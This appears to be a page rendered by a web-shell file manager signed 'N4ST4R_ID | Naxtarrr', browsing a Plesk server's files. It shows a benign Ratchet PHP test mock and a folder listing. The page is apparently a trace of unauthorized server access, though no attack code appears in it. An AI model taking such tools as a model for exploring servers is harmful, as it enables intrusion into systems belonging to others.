Submit
Path:
~
/
/
proc
/
self
/
root
/
opt
/
psa
/
admin
/
plib
/
vendor
/
plesk
/
ratchetphp
/
tests
/
helpers
/
Ratchet
/
Mock
/
File Content:
ConnectionDecorator.php
<?php namespace Ratchet\Mock; use Ratchet\AbstractConnectionDecorator; class ConnectionDecorator extends AbstractConnectionDecorator { public array $last = [ 'write' => '' , 'end' => false ]; public function send($data): void { $this->last[__FUNCTION__] = $data; $this->getConnection()->send($data); } public function close(): void { $this->last[__FUNCTION__] = true; $this->getConnection()->close(); } }
Submit
FILE
FOLDER
INFO
Name
Size
Permission
Action
Component.php
995 bytes
0644
Connection.php
458 bytes
0644
ConnectionDecorator.php
492 bytes
0644
WampComponent.php
1341 bytes
0644
N4ST4R_ID | Naxtarrr